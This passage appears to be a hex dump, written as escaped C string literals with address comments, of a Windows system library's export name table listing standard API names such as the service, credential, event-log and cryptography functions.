\"\\x41\\x6E\\x64\\x4E\\x61\\x6D\\x65\\x41\\x00\\x42\\x75\\x69\\x6C\\x64\\x54\\x72\"   //AndNameA.BuildTr\n/* 7E293E40 */   \"\\x75\\x73\\x74\\x65\\x65\\x57\\x69\\x74\\x68\\x4F\\x62\\x6A\\x65\\x63\\x74\\x73\"   //usteeWithObjects\n/* 7E293E60 */   \"\\x41\\x6E\\x64\\x4E\\x61\\x6D\\x65\\x57\\x00\\x42\\x75\\x69\\x6C\\x64\\x54\\x72\"   //AndNameW.BuildTr\n/* 7E293E80 */   \"\\x75\\x73\\x74\\x65\\x65\\x57\\x69\\x74\\x68\\x4F\\x62\\x6A\\x65\\x63\\x74\\x73\"   //usteeWithObjects\n/* 7E293EA0 */   \"\\x41\\x6E\\x64\\x53\\x69\\x64\\x41\\x00\\x42\\x75\\x69\\x6C\\x64\\x54\\x72\\x75\"   //AndSidA.BuildTru\n/* 7E293EC0 */   \"\\x73\\x74\\x65\\x65\\x57\\x69\\x74\\x68\\x4F\\x62\\x6A\\x65\\x63\\x74\\x73\\x41\"   //steeWithObjectsA\n/* 7E293EE0 */   \"\\x6E\\x64\\x53\\x69\\x64\\x57\\x00\\x42\\x75\\x69\\x6C\\x64\\x54\\x72\\x75\\x73\"   //ndSidW.BuildTrus\n/* 7E293F00 */   \"\\x74\\x65\\x65\\x57\\x69\\x74\\x68\\x53\\x69\\x64\\x41\\x00\\x42\\x75\\x69\\x6C\"   //teeWithSidA.Buil\n/* 7E293F20 */   \"\\x64\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x57\\x69\\x74\\x68\\x53\\x69\\x64\\x57\"   //dTrusteeWithSidW\n/* 7E293F40 */   \"\\x00\\x43\\x61\\x6E\\x63\\x65\\x6C\\x4F\\x76\\x65\\x72\\x6C\\x61\\x70\\x70\\x65\"   //.CancelOverlappe\n/* 7E293F60 */   \"\\x64\\x41\\x63\\x63\\x65\\x73\\x73\\x00\\x43\\x68\\x61\\x6E\\x67\\x65\\x53\\x65\"   //dAccess.ChangeSe\n/* 7E293F80 */   \"\\x72\\x76\\x69\\x63\\x65\\x43\\x6F\\x6E\\x66\\x69\\x67\\x32\\x41\\x00\\x43\\x68\"   //rviceConfig2A.Ch\n/* 7E293FA0 */   \"\\x61\\x6E\\x67\\x65\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x6F\\x6E\\x66\\x69\"   //angeServiceConfi\n/* 7E293FC0 */   \"\\x67\\x32\\x57\\x00\\x43\\x68\\x61\\x6E\\x67\\x65\\x53\\x65\\x72\\x76\\x69\\x63\"   //g2W.ChangeServic\n/* 7E293FE0 */   \"\\x65\\x43\\x6F\\x6E\\x66\\x69\\x67\\x41\\x00\\x43\\x68\\x61\\x6E\\x67\\x65\\x53\"   //eConfigA.ChangeS\n/* 7E294000 */   \"\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x6F\\x6E\\x66\\x69\\x67\\x57\\x00\\x43\\x68\"   //erviceConfigW.Ch\n/* 7E294020 */   \"\\x65\\x63\\x6B\\x54\\x6F\\x6B\\x65\\x6E\\x4D\\x65\\x6D\\x62\\x65\\x72\\x73\\x68\"   //eckTokenMembersh\n/* 7E294040 */   \"\\x69\\x70\\x00\\x43\\x6C\\x65\\x61\\x72\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\"   //ip.ClearEventLog\n/* 7E294060 */   \"\\x41\\x00\\x43\\x6C\\x65\\x61\\x72\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x57\"   //A.ClearEventLogW\n/* 7E294080 */   \"\\x00\\x43\\x6C\\x6F\\x73\\x65\\x43\\x6F\\x64\\x65\\x41\\x75\\x74\\x68\\x7A\\x4C\"   //.CloseCodeAuthzL\n/* 7E2940A0 */   \"\\x65\\x76\\x65\\x6C\\x00\\x43\\x6C\\x6F\\x73\\x65\\x45\\x6E\\x63\\x72\\x79\\x70\"   //evel.CloseEncryp\n/* 7E2940C0 */   \"\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x52\\x61\\x77\\x00\\x43\\x6C\\x6F\\x73\\x65\"   //tedFileRaw.Close\n/* 7E2940E0 */   \"\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x00\\x43\\x6C\\x6F\\x73\\x65\\x53\\x65\"   //EventLog.CloseSe\n/* 7E294100 */   \"\\x72\\x76\\x69\\x63\\x65\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x43\\x6C\\x6F\\x73\"   //rviceHandle.Clos\n/* 7E294120 */   \"\\x65\\x54\\x72\\x61\\x63\\x65\\x00\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x4C\\x69\"   //eTrace.CommandLi\n/* 7E294140 */   \"\\x6E\\x65\\x46\\x72\\x6F\\x6D\\x4D\\x73\\x69\\x44\\x65\\x73\\x63\\x72\\x69\\x70\"   //neFromMsiDescrip\n/* 7E294160 */   \"\\x74\\x6F\\x72\\x00\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\\x41\\x63\\x63\\x65\\x73\"   //tor.ComputeAcces\n/* 7E294180 */   \"\\x73\\x54\\x6F\\x6B\\x65\\x6E\\x46\\x72\\x6F\\x6D\\x43\\x6F\\x64\\x65\\x41\\x75\"   //sTokenFromCodeAu\n/* 7E2941A0 */   \"\\x74\\x68\\x7A\\x4C\\x65\\x76\\x65\\x6C\\x00\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\"   //thzLevel.Control\n/* 7E2941C0 */   \"\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x00\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x54\"   //Service.ControlT\n/* 7E2941E0 */   \"\\x72\\x61\\x63\\x65\\x41\\x00\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x54\\x72\\x61\"   //raceA.ControlTra\n/* 7E294200 */   \"\\x63\\x65\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x41\\x63\\x63\\x65\\x73\"   //ceW.ConvertAcces\n/* 7E294220 */   \"\\x73\\x54\\x6F\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\"   //sToSecurityDescr\n/* 7E294240 */   \"\\x69\\x70\\x74\\x6F\\x72\\x41\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x41\\x63\"   //iptorA.ConvertAc\n/* 7E294260 */   \"\\x63\\x65\\x73\\x73\\x54\\x6F\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\"   //cessToSecurityDe\n/* 7E294280 */   \"\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\"   //scriptorW.Conver\n/* 7E2942A0 */   \"\\x74\\x53\\x44\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x44\\x52\\x6F\\x6F\"   //tSDToStringSDRoo\n/* 7E2942C0 */   \"\\x74\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x41\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\"   //tDomainA.Convert\n/* 7E2942E0 */   \"\\x53\\x44\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x44\\x52\\x6F\\x6F\\x74\"   //SDToStringSDRoot\n/* 7E294300 */   \"\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\"   //DomainW.ConvertS\n/* 7E294320 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\"   //ecurityDescripto\n/* 7E294340 */   \"\\x72\\x54\\x6F\\x41\\x63\\x63\\x65\\x73\\x73\\x41\\x00\\x43\\x6F\\x6E\\x76\\x65\"   //rToAccessA.Conve\n/* 7E294360 */   \"\\x72\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\"   //rtSecurityDescri\n/* 7E294380 */   \"\\x70\\x74\\x6F\\x72\\x54\\x6F\\x41\\x63\\x63\\x65\\x73\\x73\\x4E\\x61\\x6D\\x65\"   //ptorToAccessName\n/* 7E2943A0 */   \"\\x64\\x41\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x65\\x63\\x75\\x72\\x69\"   //dA.ConvertSecuri\n/* 7E2943C0 */   \"\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x54\\x6F\\x41\\x63\"   //tyDescriptorToAc\n/* 7E2943E0 */   \"\\x63\\x65\\x73\\x73\\x4E\\x61\\x6D\\x65\\x64\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\"   //cessNamedW.Conve\n/* 7E294400 */   \"\\x72\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\"   //rtSecurityDescri\n/* 7E294420 */   \"\\x70\\x74\\x6F\\x72\\x54\\x6F\\x41\\x63\\x63\\x65\\x73\\x73\\x57\\x00\\x43\\x6F\"   //ptorToAccessW.Co\n/* 7E294440 */   \"\\x6E\\x76\\x65\\x72\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\"   //nvertSecurityDes\n/* 7E294460 */   \"\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\"   //criptorToStringS\n/* 7E294480 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\"   //ecurityDescripto\n/* 7E2944A0 */   \"\\x72\\x41\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x65\\x63\\x75\\x72\\x69\"   //rA.ConvertSecuri\n/* 7E2944C0 */   \"\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x54\\x6F\\x53\\x74\"   //tyDescriptorToSt\n/* 7E2944E0 */   \"\\x72\\x69\\x6E\\x67\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\"   //ringSecurityDesc\n/* 7E294500 */   \"\\x72\\x69\\x70\\x74\\x6F\\x72\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\"   //riptorW.ConvertS\n/* 7E294520 */   \"\\x69\\x64\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x69\\x64\\x41\\x00\\x43\"   //idToStringSidA.C\n/* 7E294540 */   \"\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x69\\x64\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\"   //onvertSidToStrin\n/* 7E294560 */   \"\\x67\\x53\\x69\\x64\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x74\\x72\"   //gSidW.ConvertStr\n/* 7E294580 */   \"\\x69\\x6E\\x67\\x53\\x44\\x54\\x6F\\x53\\x44\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x41\"   //ingSDToSDDomainA\n/* 7E2945A0 */   \"\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x44\"   //.ConvertStringSD\n/* 7E2945C0 */   \"\\x54\\x6F\\x53\\x44\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x57\\x00\\x43\\x6F\\x6E\\x76\"   //ToSDDomainW.Conv\n/* 7E2945E0 */   \"\\x65\\x72\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x44\\x54\\x6F\\x53\\x44\\x52\"   //ertStringSDToSDR\n/* 7E294600 */   \"\\x6F\\x6F\\x74\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x41\\x00\\x43\\x6F\\x6E\\x76\\x65\"   //ootDomainA.Conve\n/* 7E294620 */   \"\\x72\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x44\\x54\\x6F\\x53\\x44\\x52\\x6F\"   //rtStringSDToSDRo\n/* 7E294640 */   \"\\x6F\\x74\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\"   //otDomainW.Conver\n/* 7E294660 */   \"\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\"   //tStringSecurityD\n/* 7E294680 */   \"\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x54\\x6F\\x53\\x65\\x63\\x75\\x72\"   //escriptorToSecur\n/* 7E2946A0 */   \"\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x41\\x00\\x43\"   //ityDescriptorA.C\n/* 7E2946C0 */   \"\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x65\\x63\\x75\"   //onvertStringSecu\n/* 7E2946E0 */   \"\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x54\\x6F\"   //rityDescriptorTo\n/* 7E294700 */   \"\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\"   //SecurityDescript\n/* 7E294720 */   \"\\x6F\\x72\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x74\\x72\\x69\\x6E\"   //orW.ConvertStrin\n/* 7E294740 */   \"\\x67\\x53\\x69\\x64\\x54\\x6F\\x53\\x69\\x64\\x41\\x00\\x43\\x6F\\x6E\\x76\\x65\"   //gSidToSidA.Conve\n/* 7E294760 */   \"\\x72\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x69\\x64\\x54\\x6F\\x53\\x69\\x64\"   //rtStringSidToSid\n/* 7E294780 */   \"\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x54\\x6F\\x41\\x75\\x74\\x6F\\x49\"   //W.ConvertToAutoI\n/* 7E2947A0 */   \"\\x6E\\x68\\x65\\x72\\x69\\x74\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x4F\\x62\\x6A\"   //nheritPrivateObj\n/* 7E2947C0 */   \"\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x00\\x43\\x6F\\x70\\x79\"   //ectSecurity.Copy\n/* 7E2947E0 */   \"\\x53\\x69\\x64\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x43\\x6F\\x64\\x65\\x41\\x75\"   //Sid.CreateCodeAu\n/* 7E294800 */   \"\\x74\\x68\\x7A\\x4C\\x65\\x76\\x65\\x6C\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x50\"   //thzLevel.CreateP\n/* 7E294820 */   \"\\x72\\x69\\x76\\x61\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\\x65\\x63\\x75\"   //rivateObjectSecu\n/* 7E294840 */   \"\\x72\\x69\\x74\\x79\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\\x69\\x76\\x61\"   //rity.CreatePriva\n/* 7E294860 */   \"\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\"   //teObjectSecurity\n/* 7E294880 */   \"\\x45\\x78\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\\x69\\x76\\x61\\x74\\x65\"   //Ex.CreatePrivate\n/* 7E2948A0 */   \"\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x57\\x69\"   //ObjectSecurityWi\n/* 7E2948C0 */   \"\\x74\\x68\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x49\\x6E\\x68\\x65\\x72\\x69\"   //thMultipleInheri\n/* 7E2948E0 */   \"\\x74\\x61\\x6E\\x63\\x65\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\\x6F\\x63\"   //tance.CreateProc\n/* 7E294900 */   \"\\x65\\x73\\x73\\x41\\x73\\x55\\x73\\x65\\x72\\x41\\x00\\x43\\x72\\x65\\x61\\x74\"   //essAsUserA.Creat\n/* 7E294920 */   \"\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x41\\x73\\x55\\x73\\x65\\x72\\x53\\x65\"   //eProcessAsUserSe\n/* 7E294940 */   \"\\x63\\x75\\x72\\x65\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\\x6F\\x63\\x65\"   //cure.CreateProce\n/* 7E294960 */   \"\\x73\\x73\\x41\\x73\\x55\\x73\\x65\\x72\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\"   //ssAsUserW.Create\n/* 7E294980 */   \"\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x57\\x69\\x74\\x68\\x4C\\x6F\\x67\\x6F\\x6E\"   //ProcessWithLogon\n/* 7E2949A0 */   \"\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x52\\x65\\x73\\x74\\x72\\x69\\x63\\x74\"   //W.CreateRestrict\n/* 7E2949C0 */   \"\\x65\\x64\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x65\"   //edToken.CreateSe\n/* 7E2949E0 */   \"\\x72\\x76\\x69\\x63\\x65\\x41\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x65\\x72\"   //rviceA.CreateSer\n/* 7E294A00 */   \"\\x76\\x69\\x63\\x65\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x54\\x72\\x61\\x63\"   //viceW.CreateTrac\n/* 7E294A20 */   \"\\x65\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x49\\x64\\x00\\x43\\x72\\x65\\x61\"   //eInstanceId.Crea\n/* 7E294A40 */   \"\\x74\\x65\\x57\\x65\\x6C\\x6C\\x4B\\x6E\\x6F\\x77\\x6E\\x53\\x69\\x64\\x00\\x43\"   //teWellKnownSid.C\n/* 7E294A60 */   \"\\x72\\x65\\x64\\x44\\x65\\x6C\\x65\\x74\\x65\\x41\\x00\\x43\\x72\\x65\\x64\\x44\"   //redDeleteA.CredD\n/* 7E294A80 */   \"\\x65\\x6C\\x65\\x74\\x65\\x57\\x00\\x43\\x72\\x65\\x64\\x45\\x6E\\x75\\x6D\\x65\"   //eleteW.CredEnume\n/* 7E294AA0 */   \"\\x72\\x61\\x74\\x65\\x41\\x00\\x43\\x72\\x65\\x64\\x45\\x6E\\x75\\x6D\\x65\\x72\"   //rateA.CredEnumer\n/* 7E294AC0 */   \"\\x61\\x74\\x65\\x57\\x00\\x43\\x72\\x65\\x64\\x46\\x72\\x65\\x65\\x00\\x43\\x72\"   //ateW.CredFree.Cr\n/* 7E294AE0 */   \"\\x65\\x64\\x47\\x65\\x74\\x53\\x65\\x73\\x73\\x69\\x6F\\x6E\\x54\\x79\\x70\\x65\"   //edGetSessionType\n/* 7E294B00 */   \"\\x73\\x00\\x43\\x72\\x65\\x64\\x47\\x65\\x74\\x54\\x61\\x72\\x67\\x65\\x74\\x49\"   //s.CredGetTargetI\n/* 7E294B20 */   \"\\x6E\\x66\\x6F\\x41\\x00\\x43\\x72\\x65\\x64\\x47\\x65\\x74\\x54\\x61\\x72\\x67\"   //nfoA.CredGetTarg\n/* 7E294B40 */   \"\\x65\\x74\\x49\\x6E\\x66\\x6F\\x57\\x00\\x43\\x72\\x65\\x64\\x49\\x73\\x4D\\x61\"   //etInfoW.CredIsMa\n/* 7E294B60 */   \"\\x72\\x73\\x68\\x61\\x6C\\x65\\x64\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\\x69\\x61\"   //rshaledCredentia\n/* 7E294B80 */   \"\\x6C\\x41\\x00\\x43\\x72\\x65\\x64\\x49\\x73\\x4D\\x61\\x72\\x73\\x68\\x61\\x6C\"   //lA.CredIsMarshal\n/* 7E294BA0 */   \"\\x65\\x64\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\\x69\\x61\\x6C\\x57\\x00\\x43\\x72\"   //edCredentialW.Cr\n/* 7E294BC0 */   \"\\x65\\x64\\x4D\\x61\\x72\\x73\\x68\\x61\\x6C\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\"   //edMarshalCredent\n/* 7E294BE0 */   \"\\x69\\x61\\x6C\\x41\\x00\\x43\\x72\\x65\\x64\\x4D\\x61\\x72\\x73\\x68\\x61\\x6C\"   //ialA.CredMarshal\n/* 7E294C00 */   \"\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\\x69\\x61\\x6C\\x57\\x00\\x43\\x72\\x65\\x64\"   //CredentialW.Cred\n/* 7E294C20 */   \"\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x4C\\x6F\\x61\\x64\\x65\\x64\\x00\\x43\\x72\"   //ProfileLoaded.Cr\n/* 7E294C40 */   \"\\x65\\x64\\x52\\x65\\x61\\x64\\x41\\x00\\x43\\x72\\x65\\x64\\x52\\x65\\x61\\x64\"   //edReadA.CredRead\n/* 7E294C60 */   \"\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\\x69\\x61\\x6C\"   //DomainCredential\n/* 7E294C80 */   \"\\x73\\x41\\x00\\x43\\x72\\x65\\x64\\x52\\x65\\x61\\x64\\x44\\x6F\\x6D\\x61\\x69\"   //sA.CredReadDomai\n/* 7E294CA0 */   \"\\x6E\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\\x69\\x61\\x6C\\x73\\x57\\x00\\x43\\x72\"   //nCredentialsW.Cr\n/* 7E294CC0 */   \"\\x65\\x64\\x52\\x65\\x61\\x64\\x57\\x00\\x43\\x72\\x65\\x64\\x52\\x65\\x6E\\x61\"   //edReadW.CredRena\n/* 7E294CE0 */   \"\\x6D\\x65\\x41\\x00\\x43\\x72\\x65\\x64\\x52\\x65\\x6E\\x61\\x6D\\x65\\x57\\x00\"   //meA.CredRenameW.\n/* 7E294D00 */   \"\\x43\\x72\\x65\\x64\\x55\\x6E\\x6D\\x61\\x72\\x73\\x68\\x61\\x6C\\x43\\x72\\x65\"   //CredUnmarshalCre\n/* 7E294D20 */   \"\\x64\\x65\\x6E\\x74\\x69\\x61\\x6C\\x41\\x00\\x43\\x72\\x65\\x64\\x55\\x6E\\x6D\"   //dentialA.CredUnm\n/* 7E294D40 */   \"\\x61\\x72\\x73\\x68\\x61\\x6C\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\\x69\\x61\\x6C\"   //arshalCredential\n/* 7E294D60 */   \"\\x57\\x00\\x43\\x72\\x65\\x64\\x57\\x72\\x69\\x74\\x65\\x41\\x00\\x43\\x72\\x65\"   //W.CredWriteA.Cre\n/* 7E294D80 */   \"\\x64\\x57\\x72\\x69\\x74\\x65\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x43\\x72\\x65\\x64\"   //dWriteDomainCred\n/* 7E294DA0 */   \"\\x65\\x6E\\x74\\x69\\x61\\x6C\\x73\\x41\\x00\\x43\\x72\\x65\\x64\\x57\\x72\\x69\"   //entialsA.CredWri\n/* 7E294DC0 */   \"\\x74\\x65\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\\x69\"   //teDomainCredenti\n/* 7E294DE0 */   \"\\x61\\x6C\\x73\\x57\\x00\\x43\\x72\\x65\\x64\\x57\\x72\\x69\\x74\\x65\\x57\\x00\"   //alsW.CredWriteW.\n/* 7E294E00 */   \"\\x43\\x72\\x65\\x64\\x70\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x43\\x72\\x65\\x64\"   //CredpConvertCred\n/* 7E294E20 */   \"\\x65\\x6E\\x74\\x69\\x61\\x6C\\x00\\x43\\x72\\x65\\x64\\x70\\x43\\x6F\\x6E\\x76\"   //ential.CredpConv\n/* 7E294E40 */   \"\\x65\\x72\\x74\\x54\\x61\\x72\\x67\\x65\\x74\\x49\\x6E\\x66\\x6F\\x00\\x43\\x72\"   //ertTargetInfo.Cr\n/* 7E294E60 */   \"\\x65\\x64\\x70\\x44\\x65\\x63\\x6F\\x64\\x65\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\"   //edpDecodeCredent\n/* 7E294E80 */   \"\\x69\\x61\\x6C\\x00\\x43\\x72\\x65\\x64\\x70\\x45\\x6E\\x63\\x6F\\x64\\x65\\x43\"   //ial.CredpEncodeC\n/* 7E294EA0 */   \"\\x72\\x65\\x64\\x65\\x6E\\x74\\x69\\x61\\x6C\\x00\\x43\\x72\\x79\\x70\\x74\\x41\"   //redential.CryptA\n/* 7E294EC0 */   \"\\x63\\x71\\x75\\x69\\x72\\x65\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x41\\x00\\x43\"   //cquireContextA.C\n/* 7E294EE0 */   \"\\x72\\x79\\x70\\x74\\x41\\x63\\x71\\x75\\x69\\x72\\x65\\x43\\x6F\\x6E\\x74\\x65\"   //ryptAcquireConte\n/* 7E294F00 */   \"\\x78\\x74\\x57\\x00\\x43\\x72\\x79\\x70\\x74\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\"   //xtW.CryptContext\n/* 7E294F20 */   \"\\x41\\x64\\x64\\x52\\x65\\x66\\x00\\x43\\x72\\x79\\x70\\x74\\x43\\x72\\x65\\x61\"   //AddRef.CryptCrea\n/* 7E294F40 */   \"\\x74\\x65\\x48\\x61\\x73\\x68\\x00\\x43\\x72\\x79\\x70\\x74\\x44\\x65\\x63\\x72\"   //teHash.CryptDecr\n/* 7E294F60 */   \"\\x79\\x70\\x74\\x00\\x43\\x72\\x79\\x70\\x74\\x44\\x65\\x72\\x69\\x76\\x65\\x4B\"   //ypt.CryptDeriveK\n/* 7E294F80 */   \"\\x65\\x79\\x00\\x43\\x72\\x79\\x70\\x74\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\\x48\"   //ey.CryptDestroyH\n/* 7E294FA0 */   \"\\x61\\x73\\x68\\x00\\x43\\x72\\x79\\x70\\x74\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\"   //ash.CryptDestroy\n/* 7E294FC0 */   \"\\x4B\\x65\\x79\\x00\\x43\\x72\\x79\\x70\\x74\\x44\\x75\\x70\\x6C\\x69\\x63\\x61\"   //Key.CryptDuplica\n/* 7E294FE0 */   \"\\x74\\x65\\x48\\x61\\x73\\x68\\x00\\x43\\x72\\x79\\x70\\x74\\x44\\x75\\x70\\x6C\"   //teHash.CryptDupl\n/* 7E295000 */   \"\\x69\\x63\\x61\\x74\\x65\\x4B\\x65\\x79\\x00\\x43\\x72\\x79\\x70\\x74\\x45\\x6E\"   //icateKey.CryptEn\n/* 7E295020 */   \"\\x63\\x72\\x79\\x70\\x74\\x00\\x43\\x72\\x79\\x70\\x74\\x45\\x6E\\x75\\x6D\\x50\"   //crypt.CryptEnumP\n/* 7E295040 */   \"\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x54\\x79\\x70\\x65\\x73\\x41\\x00\\x43\\x72\"   //roviderTypesA.Cr\n/* 7E295060 */   \"\\x79\\x70\\x74\\x45\\x6E\\x75\\x6D\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x54\"   //yptEnumProviderT\n/* 7E295080 */   \"\\x79\\x70\\x65\\x73\\x57\\x00\\x43\\x72\\x79\\x70\\x74\\x45\\x6E\\x75\\x6D\\x50\"   //ypesW.CryptEnumP\n/* 7E2950A0 */   \"\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x73\\x41\\x00\\x43\\x72\\x79\\x70\\x74\\x45\"   //rovidersA.CryptE\n/* 7E2950C0 */   \"\\x6E\\x75\\x6D\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x73\\x57\\x00\\x43\\x72\"   //numProvidersW.Cr\n/* 7E2950E0 */   \"\\x79\\x70\\x74\\x45\\x78\\x70\\x6F\\x72\\x74\\x4B\\x65\\x79\\x00\\x43\\x72\\x79\"   //yptExportKey.Cry\n/* 7E295100 */   \"\\x70\\x74\\x47\\x65\\x6E\\x4B\\x65\\x79\\x00\\x43\\x72\\x79\\x70\\x74\\x47\\x65\"   //ptGenKey.CryptGe\n/* 7E295120 */   \"\\x6E\\x52\\x61\\x6E\\x64\\x6F\\x6D\\x00\\x43\\x72\\x79\\x70\\x74\\x47\\x65\\x74\"   //nRandom.CryptGet\n/* 7E295140 */   \"\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x41\"   //DefaultProviderA\n/* 7E295160 */   \"\\x00\\x43\\x72\\x79\\x70\\x74\\x47\\x65\\x74\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\"   //.CryptGetDefault\n/* 7E295180 */   \"\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x57\\x00\\x43\\x72\\x79\\x70\\x74\\x47\"   //ProviderW.CryptG\n/* 7E2951A0 */   \"\\x65\\x74\\x48\\x61\\x73\\x68\\x50\\x61\\x72\\x61\\x6D\\x00\\x43\\x72\\x79\\x70\"   //etHashParam.Cryp\n/* 7E2951C0 */   